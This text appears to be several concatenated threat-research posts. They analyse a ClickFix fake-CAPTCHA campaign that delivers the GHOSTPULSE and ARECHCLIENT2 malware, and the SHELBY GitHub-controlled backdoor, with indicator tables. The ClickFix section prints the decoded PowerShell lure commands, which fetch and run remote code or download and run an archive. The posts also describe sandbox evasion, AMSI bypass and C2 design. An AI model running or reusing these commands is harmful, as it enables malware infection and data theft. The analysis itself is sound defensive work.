SHA-256 | 1.aspx | Godzilla-forked webshell (Similar sample from VirusTotal) | | 230b84398e873938bbcc7e4a1a358bde4345385d58eb45c1726cee22028026e9 | SHA-256 | GotoHTTP.exe | GotoHTTP | | Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 | User-Agent | | User-Agent observed during exploitation via IIS ViewState injection |

References

The following were referenced throughout the above research:

Addendum

HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:

https://x.com/securechicken/status/1980715257791193420
https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/

A Wretch Client: From ClickFix deception to information stealer deployment

Salim Bitam — Wed, 18 Jun 2025 00:00:00 GMT

Preamble

Elastic Security Labs has observed the ClickFix technique gaining popularity for multi-stage campaigns that deliver various malware through social engineering tactics.

Our threat intelligence indicates a substantial surge in activity leveraging ClickFix (technique first observed) as a primary initial access vector. This social engineering technique tricks users into copying and pasting malicious PowerShell that results in malware execution. Our telemetry has tracked its use since last year, including instances leading to the deployment of new versions of the GHOSTPULSE loader. This led to campaigns targeting a broad audience using malware and infostealers, such as LUMMA and ARECHCLIENT2, a family first observed in 2019 but now experiencing a significant surge in popularity.

This post examines a recent ClickFix campaign, providing an in-depth analysis of its components, the techniques employed, and the malware it ultimately delivers.

Key takeaways

ClickFix: Remains a highly effective and prevalent initial access method.
GHOSTPULSE: Continues to be widely used as a multi-stage payload loader, featuring ongoing development with new modules and improved evasion techniques. Notably, its initial configuration is delivered within an encrypted file.
ARECHCLIENT2 (SECTOPRAT): Has seen a considerable increase in malicious activity throughout 2025.

The Initial Hook: Deconstructing ClickFix's Social Engineering

Every successful multi-stage attack begins with a foothold, and in many recent campaigns, that initial step has been satisfied by ClickFix. ClickFix leverages human psychology, transforming seemingly innocuous user interactions into the very launchpad for compromise.

At its core, ClickFix is a social engineering technique designed to manipulate users into inadvertently executing malicious code on their systems. It preys on common online behaviors and psychological tendencies, presenting users with deceptive prompts – often disguised as browser updates, system errors, or even CAPTCHA verifications. The trick is simple yet incredibly effective: instead of a direct download, the user is instructed to copy a seemingly harmless "fix" (which is a malicious PowerShell command) and paste it directly into their operating system's run dialog. This seemingly voluntary action bypasses many traditional perimeter defenses, as the user initiates the process.

ClickFix first emerged on the threat landscape in March 2024, but it has rapidly gained traction, exploding in prevalence throughout 2024 and continuing its aggressive ascent into 2025. Its effectiveness lies in exploiting "verification fatigue" – the subconscious habit users develop of mindlessly clicking through security checks. When confronted with a familiar-looking CAPTCHA or an urgent "fix it" button, many users, conditioned by routine, simply comply without scrutinizing the underlying request. This makes ClickFix an incredibly potent initial access vector, favored by a broad spectrum of threat actors due to its high success rate in breaching initial defenses.

Our recent Elastic Security research on EDDIESTEALER provides another concrete example of ClickFix's efficacy in facilitating malware deployment, further underscoring its versatility and widespread adoption in the threat landscape.

Our internal telemetry at Elastic corroborates this trend, showing a significant volume in ClickFix-related alerts across our observed environments, particularly within Q1 2025. We've noted an increase in attempts compared to the previous quarter, with a predominant focus on the deployment of mass infection malware, such as RATs and InfoStealers.

A ClickFix Campaign's Journey to ARECHCLIENT2

The ClickFix technique often serves as the initial step in a larger, multi-stage attack. We've recently analyzed a campaign that clearly shows this progression. This operation begins with a ClickFix lure, which tricks users into starting the infection process. After gaining initial access, the campaign deploys an updated version of the GHOSTPULSE Loader (also known as HIJACKLOADER, IDATLOADER). This loader then brings in an intermediate .NET loader. This additional stage is responsible for delivering the final payload: an ARECHCLIENT2 (SECTOPRAT) sample, loaded directly into memory. This particular attack chain demonstrates how adversaries combine social engineering with hidden loader capabilities and multiple execution layers to steal data and gain remote control ultimately.

We observed this exact campaign in our telemetry on , providing us with a direct look into its real-world execution and the sequence of its components.

Technical analysis of the infection

The infection chain begins with a phishing page that imitates a Cloudflare anti-DDoS Captcha verification.

We observed two infrastructures (both resolving to 50.57.243[.]90) https://clients[.]dealeronlinemarketing[[.]]com/captcha/ and https://clients[.]contology[.]com/captcha/ that deliver the same initial payload.

User interaction on this page initiates execution. GHOSTPULSE serves as the malware loader in this campaign. Elastic Security Labs has been closely tracking this loader, and our previous research (2023 and 2024) provided a detailed look into its initial capabilities.

!Fake captcha hosted by contology[.]com

The webpage is a heavily obfuscated JavaScript script that generates the HTML code and JavaScript, which copies a PowerShell command to the clipboard.

Inspecting the runtime HTML code in a browser, we can see the front end of the page, but not the script that is run after clicking on the checkbox Verify you are human.

A simple solution is to run it in a debugger to retrieve the information during execution. The second JS code is obfuscated, but we can easily identify two interesting functions. The first function, runClickedCheckboxEffects, retrieves the public IP address of the machine by querying https://api.ipify[.]org?format=json, then it sends the IP address to the attacker’s infrastructure, https://koonenmagaziner[.]click/counter/<IP_address>, to log the infection.

The second function copies a base64-encoded PowerShell command to the clipboard.

Which is the following when it is base64 decoded

(Invoke-webrequest -URI 'https://shorter[.]me/XOWyT' 
    -UseBasicParsing).content | iex

When executed, it fetches the following PowerShell script:

Invoke-WebRequest -Uri "https://bitly[.]cx/iddD" -OutFile 
    "$env:TEMP\ComponentStyle.zip"; Expand-Archive -Path 
    "$env:TEMP/ComponentStyle.zip" -DestinationPath 
    "$env:TEMP"; & "$env:TEMP\crystall\Crysta_x86.exe"

The observed infection process for this campaign involves GHOSTPULSE's deployment as follows: After the user executes the PowerShell command copied by ClickFix, the initial script fetches and runs additional commands. These PowerShell commands download a ZIP file (ComponentStyle.zip) from a remote location and then extract it into a temporary directory on the victim's system.

Extracted contents include components for GHOSTPULSE, specifically a benign executable (Crysta_X64.exe) and a malicious dynamic-link library (DllXDownloadManager.dll). This setup utilizes DLL sideloading, a technique in which the legitimate executable loads the malicious DLL. The file (Heeschamjet.rc) is the IDAT file that contains the next stage's payloads in an encrypted format

and the file Shonomteak.bxi, which is encrypted and used by the loader to fetch the stage 2 and configuration structure.

GHOSTPULSE

Stage 1

GHOSTPULSE is malware dating back to 2023. It has continuously received numerous updates, including a new way to store its encrypted payload in an image by embedding the payload in the PNG’s pixels, as detailed in Elastic’s 2024 research blog post, and new modules from Zscaler research.

The malware used in this campaign was shipped with an additional encrypted file named Shonomteak.bxi. During stage 1 of the loader, it decrypts the file using a DWORD addition operation with a value stored in the file itself.

The malware then extracts the stage 2 code from the decrypted file Shonomteak.bxi and injects it into a loaded library using the LibraryLoadA function. The library name is stored in the same decrypted file; in our case, it is vssapi.dll.

The stage 2 function is then called with a structure parameter containing the filename of the IDAT PNG file, the stage 2 configuration that was inside the decrypted Shonomteak.bxi, and a boolean field b_detect_process set to True in our case.

Stage 2

When the boolean field b_detect_process is set to True, the malware executes a function that checks for a list of processes to see if they are running. If a process is detected, execution is delayed by 5 seconds.

In previous samples, we analyzed GHOSTPULSE, which had its configuration hardcoded directly in the binary. This sample, on the other hand, has all the necessary information required for the malware to function properly, stored in Shonomteak.bxi, including:

Hashes for the DLL names and Windows APIs
IDAT tag: used to find the start of the encrypted data in the PNG file
IDAT string: Which is simply “IDAT”
Hashes of processes to scan for

Final thoughts on GHOSTPULSE

GHOSTPULSE has seen multiple updates. The use of the IDAT header method to store the encrypted payload, rather than the new method we discovered in 2024, which utilizes pixels to store the payload, may indicate that the builder of this family maintained both options for compiling new samples.

Our configuration extractor performs payload extraction using both methods and can be used for mass analysis on samples. You can find the updated tool in our labs-releases repository.

ARECHCLIENT2

In 2025, a notable increase in activity involving ARECHCLIENT2 (SectopRAT) was observed. This heavily obfuscated .NET remote access tool, initially identified in November 2019 and known for its information-stealing features, is now being deployed by GHOSTPULSE through the Clickfix social engineering technique. Our prior research documented the initial deployment of GHOSTPULSE utilizing ARECHCLIENT2 around 2023.

The payload deployed by GHOSTPULSE in a newly created process is an x86 native .NET loader, which in its turn loads ARECHCLIENT2.

The loader goes through 3 steps:

Patching AMSI
Extracting and decrypting the payload
Loading the CLR, then reflectively loading ARECHCLIENT2

Interestingly, its error handling for debugging purposes is still present, in the form of message boxes using the MessageBoxA API, for example, when failing to find the .tls section, an error message box with the string "D1" is displayed.

The following is a table of all the error messages and their description:

| Message | Description | |:-------:|:-----------------------------:| | F1 | LoadLibraryExW hooking failed | | F2 | AMSI patching failed | | D1 | Unable to find .tls section | | W2 | Failed to load CLR |

The malware sets up a hook on the LoadLibraryExW API. This hook waits for amsi.dll to be loaded, then sets another hook on AmsiScanBuffer 0, effectively bypassing AMSI.

After this, the loader fetches the pointer in memory to the .tls section by parsing the PE headers. The first 0x40 bytes of this section serve as the XOR key, and the rest of the bytes contain the encrypted ARECHCLIENT2 sample, which the loader then decrypts.

Finally, it loads the .NET Common Language Runtime (CLR) in memory with CLRCreateInstance Windows API before reflectively loading ARECHCLIENT2. The following is an example of how it is performed.

ARECHCLIENT2 is a potent remote access trojan and infostealer, designed to target a broad spectrum of sensitive user data and system information. The malware's core objectives primarily focus on:

Credential and Financial Theft: ARECHCLIENT2 explicitly targets cryptocurrency wallets, browser-saved passwords, cookies, and autofill data. It also aims for credentials from FTP, VPN, Telegram, Discord, and Steam.

System Profiling and Reconnaissance: ARECHCLIENT2 gathers extensive system details, including the operating system version, hardware information, IP address, machine name, and geolocation (city, country, and time zone).

Command Execution: ARECHCLIENT2 receives and executes commands from its command-and-control (C2) server, granting attackers remote control over infected systems.

The ARECHCLIENT2 malware connects to its C2 144.172.97[.]2, which is hardcoded in the binary as an encrypted string, and also retrieves its secondary C2 (143.110.230[.]167) IP from a hardcoded pastebin link https://pastebin[.]com/raw/Wg8DHh2x.

Infrastructure analysis

The malicious captcha page was hosted under two domains clients.dealeronlinemarketing[.]com and clients.contology[.]com under the URI /captcha and /Client pointing to the following IP address 50.57.243[.]90.

We've identified that both entities are linked to a digital advertising agency with a long operational history. Further investigation reveals that the company has consistently utilized client subdomains to host various content, including PDFs and forms, for advertising purposes.

We assess that the attacker has likely compromised the server 50.57.243[.]90 and is leveraging it by exploiting the company's existing infrastructure and advertising reach to facilitate widespread malicious activity.

Further down the attack chain, analysis of the ARECHCLIENT2 C2 IPs (143.110.230[.]167 and 144.172.97[.]2) revealed additional campaign infrastructure. Both servers are hosted on different autonomous systems, AS14061 and AS14956.

Pivoting on a shared banner hash (@ValidinLLC’s HOST-BANNER_0_HASH, which is the hash value of the web server response banners) revealed 120 unique servers across a range of autonomous systems over the last seven months. Of these 120, 19 have been previously labeled by various other vendors as “Sectop RAT" (aka ARECHCLIENT2) as documented in the Maltrail repo.

Performing focused validations of the latest occurrences (first occurrence after June 1, 2025) against VirusTotal shows community members have previously labeled all 13 as Sectop RAT C2.

All these servers have similar configurations:

Running Canonical Linux
SSH on 22
Unknown TCP on 443
Nginx HTTP on 8080, and
HTTP on 9000 (C2 port)

The service on port 9000 has Windows server headers, whereas the SSH and NGINX HTTP services both specify Ubuntu as the operating system. This suggests a reverse proxy of the C2 to protect the actual server by maintaining disposable front-end redirectors.

ARECHCLIENT2 IOC:

HOST-BANNER_0_HASH: 82cddf3a9bff315d8fc708e5f5f85f20

This is an active campaign, and this infrastructure is being built and torn down at a high cadence over the last seven months. As of publication, the following C2 nodes are still active:

| Value | First Seen | Last Seen | |-----------------|------------|------------| | 66.63.187.22 | 2025-06-15 | 2025-06-15 | | 45.94.47.164 | 2025-06-02 | 2025-06-15 | | 84.200.17.129 | 2025-06-04 | 2025-06-15 | | 82.117.255.225 | 2025-03-14 | 2025-06-15 | | 45.77.154.115 | 2025-06-05 | 2025-06-15 | | 144.172.94.120 | 2025-05-20 | 2025-06-15 | | 79.124.62.10 | 2025-05-15 | 2025-06-15 | | 82.117.242.178 | 2025-03-14 | 2025-06-15 | | 195.82.147.132 | 2025-04-10 | 2025-06-15 | | 62.60.247.154 | 2025-05-18 | 2025-06-15 | | 91.199.163.74 | 2025-04-03 | 2025-06-15 | | 172.86.72.81 | 2025-03-13 | 2025-06-15 | | 107.189.24.67 | 2025-06-02 | 2025-06-15 | | 143.110.230.167 | 2025-06-08 | 2025-06-15 | | 185.156.72.80 | 2025-05-15 | 2025-06-15 | | 85.158.110.179 | 2025-05-11 | 2025-06-15 | | 144.172.101.228 | 2025-05-13 | 2025-06-15 | | 192.124.178.244 | 2025-06-01 | 2025-06-15 | | 107.189.18.56 | 2025-04-27 | 2025-06-15 | | 194.87.29.62 | 2025-05-18 | 2025-06-15 | | 185.156.72.63 | 2025-06-12 | 2025-06-12 | | 193.149.176.31 | 2025-06-08 | 2025-06-12 | | 45.141.87.249 | 2025-06-12 | 2025-06-12 | | 176.126.163.56 | 2025-05-06 | 2025-06-12 | | 185.156.72.71 | 2025-05-15 | 2025-06-12 | | 91.184.242.37 | 2025-05-15 | 2025-06-12 | | 45.141.86.159 | 2025-05-15 | 2025-06-12 | | 67.220.72.124 | 2025-06-05 | 2025-06-12 | | 45.118.248.29 | 2025-01-28 | 2025-06-12 | | 172.105.148.233 | 2025-06-03 | 2025-06-10 | | 194.26.27.10 | 2025-05-06 | 2025-06-10 | | 45.141.87.212 | 2025-06-08 | 2025-06-08 | | 45.141.86.149 | 2025-05-15 | 2025-06-08 | | 172.235.190.176 | 2025-06-08 | 2025-06-08 | | 45.141.86.82 | 2024-12-13 | 2025-06-08 | | 45.141.87.7 | 2025-05-13 | 2025-06-06 | | 185.125.50.140 | 2025-04-06 | 2025-06-03 |

Conclusion

This multi-stage cyber campaign effectively leverages ClickFix social engineering for initial access, deploying the GHOSTPULSE loader to deliver an intermediate .NET loader, ultimately culminating in the memory-resident ARECHCLIENT2 payload. This layered attack chain gathers extensive credentials, financial, and system data, while also granting attackers remote control capabilities over compromised machines.

MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Detecting [malware]

Detection

Elastic Defend detects this threat with the following behavior protection rules:

YARA

Observations

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |------------------------------------------------------------------|-----------|-------------------------|-----------------------------------------------------------------------------| | clients.dealeronlinemarketing[.]com | domain | Captcha subdomain | | | clients.contology[.]com | domain | Captcha subdomain | | | koonenmagaziner[.]click | domain | | | | 50.57.243[.]90 | ipv4-addr | | clients.dealeronlinemarketing[.]com & clients.contology[.]com IP address | | 144.172.97[.]2 | ipv4-addr | | ARECHCLIENT2 C&C server | | 143.110.230[.]167 | ipv4-addr | | ARECHCLIENT2 C&C server | | pastebin[.]com/raw/Wg8DHh2x | ipv4-addr | | Contains ARECHCLIENT2 C&C server IP | | 2ec47cbe6d03e6bdcccc63c936d1c8310c261755ae5485295fecac4836d7e56a | SHA-256 | DivXDownloadManager.dll | GHOSTPULSE | | a8ba1e14249cdd9d806ef2d56bedd5fb09de920b6f78082d1af3634f4c136b90 | SHA-256 | Heeschamjiet.rc | PNG GHOSTPULSE | | f92b491d63bb77ed3b4c7741c8c15bdb7c44409f1f850c08dce170f5c8712d55 | SHA-256 | | DOTNET LOADER | | 4dc5ba5014628ad0c85f6e8903de4dd3b49fed65796978988df8c128ba7e7de9 | SHA-256 | | ARECHCLIENT2 |

References

The following were referenced throughout the above research:

The Shelby Strategy

Salim Bitam,Seth Goodwin — Wed, 26 Mar 2025 00:00:00 GMT

Key takeaways

The SHELBY malware family abuses GitHub for command-and-control, stealing data and retrieving commands
The attacker’s C2 design has a critical flaw: anyone with the PAT token can control infected machines, exposing a significant security vulnerability
Unused code and dynamic payload loading suggest the malware is under active development, indicating future updates may address any issues with contemporary versions

Summary

As part of our ongoing research into emerging threats, we analyzed a potential phishing email sent from an email address belonging to an Iraqi telecommunications company and sent to other employees of that same company.

The phishing email relies on the victim opening the attached Details.zip file and executing the contained binary, JPerf-3.0.0.exe. This binary utilizes the script-driven installation system, Inno setup, that contains the malicious application:

%AppData%\Local\Microsoft\HTTPApi:
- HTTPApi.dll (SHELBYC2)
- HTTPService.dll (SHELBYLOADER)
- Microsoft.Http.Api.exe
- Microsoft.Http.Api.exe.config

The installed Microsoft.Http.Api.exe is a benign .NET executable. Its primary purpose is to side-load the malicious HTTPService.dll. Once loaded, HTTPService.dll acts as the loader, initiating communication with GitHub for its command-and-control (C2).

The loader retrieves a specific value from the C2, which is used to decrypt the backdoor payload, HTTPApi.dll. After decryption, the backdoor is loaded into memory as a managed assembly using reflection, allowing it to execute without writing to disk and evading traditional detection mechanisms.

As of the time of writing, both the backdoor and the loader have a low detection rate on VirusTotal.

SHELBYLOADER code analysis

Obfuscation

Both the loader and backdoor are obfuscated with the open-source tool Obfuscar, which employs string encryption as one of its features. To bypass this obfuscation, we can leverage de4dot with custom parameters. Obfuscar replaces strings with calls to a string decryptor function, but by providing the token of this function to de4dot, we can effectively deobfuscate the code. Using the parameters --strtyp ( the type of string decrypter, in our case delegate) and --strtok ( the token of the string decryption method), we can replace these function calls with their corresponding plaintext values, revealing the original strings in the code.

Sandbox detection

SHELBYLOADER utilizes sandbox detection techniques to identify virtualized or monitored environments. Once executed, it sends the results back to C2. These results are packaged as log files, detailing whether each detection method successfully identified a sandbox environment, for example:

Technique 1: WMI Query for System Information

The malware executes a WMI query (Select * from Win32_ComputerSystem) to retrieve system details. It then checks the Manufacturer and Model fields for indicators of a virtual machine, such as "VMware" or "VirtualBox."

Technique 2: Process Enumeration

The malware scans the running processes for known virtualization-related services, including:

vmsrvc
vmtools
xenservice
vboxservice
vboxtray

The presence of these processes tells the malware that it may be running in a virtualized environment.

Technique 3: File System Checks

The malware searches for the existence of specific driver files commonly associated with virtualization software, such as:

C:\Windows\System32\drivers\VBoxMouse.sys
C:\Windows\System32\drivers\VBoxGuest.sys
C:\Windows\System32\drivers\vmhgfs.sys
C:\Windows\System32\drivers\vmci.sys

Technique 4: Disk Size Analysis

The malware checks the size of the C: volume. If the size is less than 50 GB, it may infer that the environment is part of a sandbox, as many virtual machines are configured with smaller disk sizes for testing purposes.

Technique 5: Parent Process Verification

The malware examines its parent process. If the parent process is not explorer.exe, it may indicate execution within an automated analysis environment rather than a typical user-driven scenario.

Technique 6: Sleep Time Deviation Detection

The malware employs timing checks to detect if its sleep or delay functions are being accelerated, a common technique used by sandboxes to speed up analysis. Significant deviations in expected sleep times can reveal a sandboxed environment.

Technique 7: WMI Query for Video Controller

The malware runs a WMI query (SELECT * FROM Win32_VideoController) to retrieve information about the system's video controller. It then compares the name of the video controller against known values associated with virtual machines: virtual or vmware or vbox.

Core Functionality

The malware's loader code begins by initializing several variables within its main class constructor. These variables include:

A GitHub account name
A private repository name
A Personal Access Token (PAT) for authenticating and accessing the repository

Additionally, the malware sets up two timers, which are used to trigger specific actions at predefined intervals.

One of the timers is configured to trigger a specific method 125 seconds after execution. When invoked, this method establishes persistence on the infected system by adding a new entry to the Windows Registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Run. Once the method is triggered and the persistence mechanism is successfully executed, the timer is stopped from further triggering.

This method uses an integer variable to indicate the outcome of its operation. The following table describes each possible value and its meaning:

| ID | Description | |----|-----------------------------------| | 1 | Persistence set successfully | | 2 | Persistence already set | | 8 | Unable to add an entry in the key | | 9 | Binary not found on disk |

This integer value is reported back to C2 during its first registration to the C2, allowing the attackers to monitor the success or failure of the persistence mechanism on the infected system.

The second timer is configured to trigger a method responsible for loading the backdoor, which executes 65 seconds after the malware starts. First, the malware generates an MD5 hash based on a combination of system-specific information. The data used to create the hash is formatted as follows, with each component separated by a slash( / ):

The number of processors available on the system.
The name of the machine (hostname).
The domain name associated with the user account.
The username of the currently logged-in user.
The total number of logical drives present on the system.

A subset of this hash is then extracted and used as a unique identifier for the infected machine. This identifier serves as a way for the attackers to track and manage compromised systems within their infrastructure.

After generating the unique identifier, the malware pushes a new commit to the myToken repository using an HTTPS request. The commit includes a directory named after the unique identifier, which contains a file named Info.txt. This file stores the following information about the infected system:

The domain name associated with the user account.
The username of the currently logged-in user.
The log of sandbox detection results detailing which techniques succeeded or failed.
The persistence flag (as described in the table above) indicates the outcome of the persistence mechanism.
The current date and time of the beaconing event

The malware first attempts to push a commit to the repository without using a proxy. If this initial attempt fails, it falls back to using the system-configured proxy for its communication.

After the first beaconing and successful registration of the victim, the malware attempts to access the same GitHub repository directory it created earlier and download a file named License.txt (we did not observe any jitter in the checking interval, but the server could handle this). If present, this file contains a 48-byte value, which is used to generate an AES decryption key. This file is uploaded by the attacker’s backend only after validating that the malware is not running in a sandbox environment. This ensures only validated infections receive the key and escalate the execution chain to the backdoor.

The malware generates an AES key and initialization vector (IV) from the contents of License.txt. It first hashes the 48-byte value using SHA256, then uses the resulting hash as the key and the first 16 bytes as the IV.

It proceeds to decrypt the file HTTPApi.dll, which contains the backdoor payload. After decryption, the malware uses the Assembly.Load method to reflectively load the backdoor into memory. This technique lets the malware execute the decrypted backdoor directly without writing it to disk.

DNS-Based Keying Mechanism

Another variant of SHELBYLOADER uses a different approach for registration and retrieving the byte sequence used to generate the AES key and IV.

First, the malware executes the same anti-sandboxing methods, creating a string of 1 or 0 depending on whether a sandbox is detected for each technique.

For its C2 registration, the malware builds a subdomain under arthurshelby.click with three parts: the first subdomain is a static string (s), the second subdomain is the unique identifier encoded in Base32, and the third subdomain is a concatenated string in the format DomainName\HostName >> Anti-Sandboxing Results >> Persistence Flag encoded in base32.

For example, a complete domain might look like s.grldiyrsmvsggojzmi4wmyi.inevyrcfknfvit2qfvcvinjriffe6ib6hyqdambqgaydambahy7cama.arthurshelby.click

After that, the malware executes multiple DNS queries to subdomains of arthurshelby.click. The IP addresses returned from these queries are concatenated into a byte sequence, which is then used to generate the AES key for decrypting the backdoor, following the same process described earlier.

The subdomains follow this format:

The first subdomain is l, where the index corresponds to the order of the DNS calls (e.g., l1, l2, etc.), ensuring the byte sequence is assembled correctly.
The second subdomain is the unique identifier encoded in Base32.

SHELBYC2 code analysis

The backdoor begins by regenerating the same unique identifier created by the loader. It does this by computing an MD5 hash of the exact system-specific string used earlier. The backdoor then creates a Mutex to ensure that only one instance of the malware runs on the infected machine. The Mutex is named by prepending the string Global\GHS to the unique identifier.

After 65 seconds, the backdoor executes a method that collects the following system information:

current user identity
operating system version
the process ID of the malware
machine name
current working directory

Interestingly, this collected information is neither used locally nor exfiltrated to the C2 server. This suggests that the code might be dead code left behind during development or that the malware is still under active development, with potential plans to utilize this data in future versions.

The malware then uploads the current timestamp to a file named Vivante.txt in the myGit repository within its unique directory (named using the system's unique identifier). This timestamp serves as the last beaconing time, enabling the attackers to monitor the malware's activity and confirm that the infected system is still active. The word "Vivante" translates to "alive" in French, which reflects the file's role as a heartbeat indicator for the compromised machine.

Next, the malware attempts to download the file Command.txt, which contains a list of commands issued by the operator for execution on the infected system.

If Command.txt contains no commands, the malware checks for commands in another file named Broadcast.txt. Unlike Command.txt, this file is located outside the malware's directory and is used to broadcast commands to all infected systems simultaneously. This approach allows the attacker to simultaneously execute operations across multiple compromised machines, streamlining large-scale control.

Commands handling table:

Commands in the Command.txt file can either be handled commands or system commands executed with Powershell. The following is a description of every handled command.

/download

This command downloads a file from a GitHub repository to the infected machine. It requires two parameters:

The name of the file stored in the GitHub repository.
The path where the file will be saved on the infected machine.

/upload

This command uploads a file from the infected machine to the GitHub repository. It takes one parameter: the path of the file to be uploaded.

/dlextract

This command downloads a zip file from the GitHub repository (similar to /download), extracts its contents, and saves them to a specified directory on the machine.

/evoke

This command is used to load a .NET binary reflectively; it takes two parameters: the first parameter is the path of an AES encrypted .NET binary previously downloaded to the infected machine, the second parameter is a value used to derive AES and the IV, similar to how the loader loads the backdoor.

This command reflectively loads a .NET binary similar to how the SHELBYLOADER loads the backdoor. It requires two parameters:

The path to an AES-encrypted .NET binary previously downloaded to the infected machine.
A value used to derive the AES key and IV.

System commands

Any command not starting with one of the above is treated as a PowerShell command and executed accordingly.

Communication

The malware does not use the Git tool in the backend to send commits. Instead, it crafts HTTP requests to interact with GitHub. It sends a commit to the repository using a JSON object with the following structure:

{
  "message": "Commit message",
  "content": "",
  "sha": ""
}

The malware sets specific HTTP headers for the request, including:

Accept: application/vnd.github.v3+json
Content-Type: application/json
Authorization: token
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36

The request is sent to the GitHub API endpoint, constructed as follows:

https://api.github.com/repos///contents//

The Personal Access Token (PAT) required to access the private repository is embedded within the binary. This allows the malware to authenticate and perform actions on the repository without using the standard Git toolchain.

The way the malware is set up means that anyone with the PAT (Personal Access Token) can theoretically fetch commands sent by the attacker and access command outputs from any victim machine. This is because the PAT token is embedded in the binary and can be used by anyone who obtains it.

SHELBY family conclusion

While the C2 infrastructure is designed exotically, the attacker has overlooked the significant risks and implications of this approach.

We believe using this malware, whether by an authorized red team or a malicious actor, would constitute malpractice. It enables any victim to weaponize the embedded PAT and take control of all active infections. Additionally, if a victim uploads samples to platforms like VirusTotal or MalwareBazaar, any third party could access infection-related data or take over the infections entirely.

REF8685 campaign analysis

Elastic Security Labs discovered REF8685 through routine collection and analysis of third-party data sources. While studying the REF8685 intrusion, we identified a loader and a C2 implant that we determined to be novel, leading us to release this detailed malware and intrusion analysis.

The malicious payloads were delivered to an Iraq-based telecom through a highly targeted phishing email sent from within the targeted organization. The text of the email is a discussion amongst engineers regarding the technical specifics of managing the network. Based on the content and context of the email, it is not likely that this lure was crafted externally, indicating the compromise of engineer endpoints, mail servers, or both.

Dears,

We would appreciate it if you would check the following alarms on Core Network many (ASSOCIATION) have been flapped.

Problem Text
*** ALARM 620 A1/APT "ARHLRF2SPX1.9IP"U 250213 1406
M3UA DESTINATION INACCESSIBLE
DEST            SPID
2-1936          ARSMSC1
END

Problem Text
*** ALARM 974 A1/APT "ARHLRF1SPX1.9IP"U 250213 1406
M3UA DESTINATION INACCESSIBLE
DEST            SPID
2-1936          ARSMSC1
END
…

This email contains a call to action to address network alarms and a zipped attachment named details.zip. Within that zip file is a text file containing the logs addressed in the email and a Windows executable (JPerf-3.0.0.exe), which starts the execution chain, resulting in the delivery of the SHELBYC2 implant, providing remote access to the environment.

While not observed in the REF8685 intrusion, it should be noted that VirusTotal shows that JPerf-3.0.0.exe (feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a) was included in a separate compressed archive (JPerf-3.0.0.zip)and also submitted from Iraq. It is unclear if this is from the same victim or another in this campaign. A file similarity search also identifies a second implant named Setup.exe with an additional compressed archive (5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c).

Analysis of these files (JPerf-3.0.0.exe and Setup.exe) revealed the use of GitHub for C2 and AES key retrieval mechanisms (more on this in the malware analysis sections). The Github accounts (arthurshellby and johnshelllby) used for the REF8685 malware were malicious and have been shut down by Github.

Of note, Arthur and John Shelby are characters in the British crime drama television series Peaky Blinders. The show was in production from 2013 to 2022.

The domain arthurshelby[.]click pointed to2.56.126[.]151, a Stark Industries (AS44477) hosted server. This VPS hosting provider has been used for proxy services in other large-scale cyber attacks. This server has overlapping resolutions for:

arthurshelby[.]click
[REDACTED]telecom[.]digital
speed-test[.]click
[REDACTED]airport[.]cloud
[REDACTED]airport[.]pro

!DNS resolution timeline for 2.56.126[.]151

The compressed archive and C2 domains for one of the SHELBYLOADER samples are named after [REDACTED] Telecom, an Iraq-based telecommunications company. [REDACTED]’s coverage map focuses on the Iraqi-Kurdistan region in the North and East of the country.

“Sharjaairport” indicates a probable third targeted victim. [REDACTED] International Airport ([REDACTED]) is an international airport specializing in air freight in the United Arab Emirates. It is 14.5 miles (23.3km) from Dubai International Airport (DXB).

!DNS resolution timeline for [REDACTED]airport[.]cloud

[REDACTED]airport[.]cloud resolved to a new server, 2.56.126[.]157, for one day on Jan 21, 2025. Afterward, it pointed to Google DNS, the legitimate [REDACTED] Airport server, and finally, a Namecheap parking address. The 2.56.126[.]157 server, Stark Industries (AS44477) hosted, also hosts [REDACTED]-connect[.]online, [REDACTED] is the airport code for the [REDACTED] International Airport.

The domain[REDACTED]airport[.]cloud has a subdomain portal.[REDACTED]airport[.]cloud that briefly pointed to 2.56.126[.]188 from Jan 23-25, 2025. It then directed traffic to 172.86.68[.]55 until the time of writing.

Banner hash pivots reveal an additional server-domain combo: 195.16.74[.]138, [REDACTED]-meeting[.]online.

The 172.86.68[.].55 server also hosts mail.[REDACTED]tell[.]com, an apparent phishing domain targeting our original victim.

!DNS resolution timeline for 172.86.68[.].55

A web login page was hosted at hxxps://portal.[REDACTED]airport[.]cloud/Login (VirusTotal).

We assess that the attackers weaponized these two sub-domains to phish for cloud login credentials. Once these credentials were secured (in the case of [REDACTED] Telecom), the attackers accessed the victim's cloud email and crafted a highly targeted phish by weaponizing ongoing internal email threads.

This weaponized internal email was used to re-phish their way onto victim endpoints.

All domains associated with this campaign have utilized ZeroSSL certifications and have been on Stark Industries infrastructure.

The Diamond Model of intrusion analysis

Elastic Security Labs utilizes the Diamond Model to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.

REF8685 and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

YARA rule

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the SHELBYC2 and SHELBYLOADER malware:

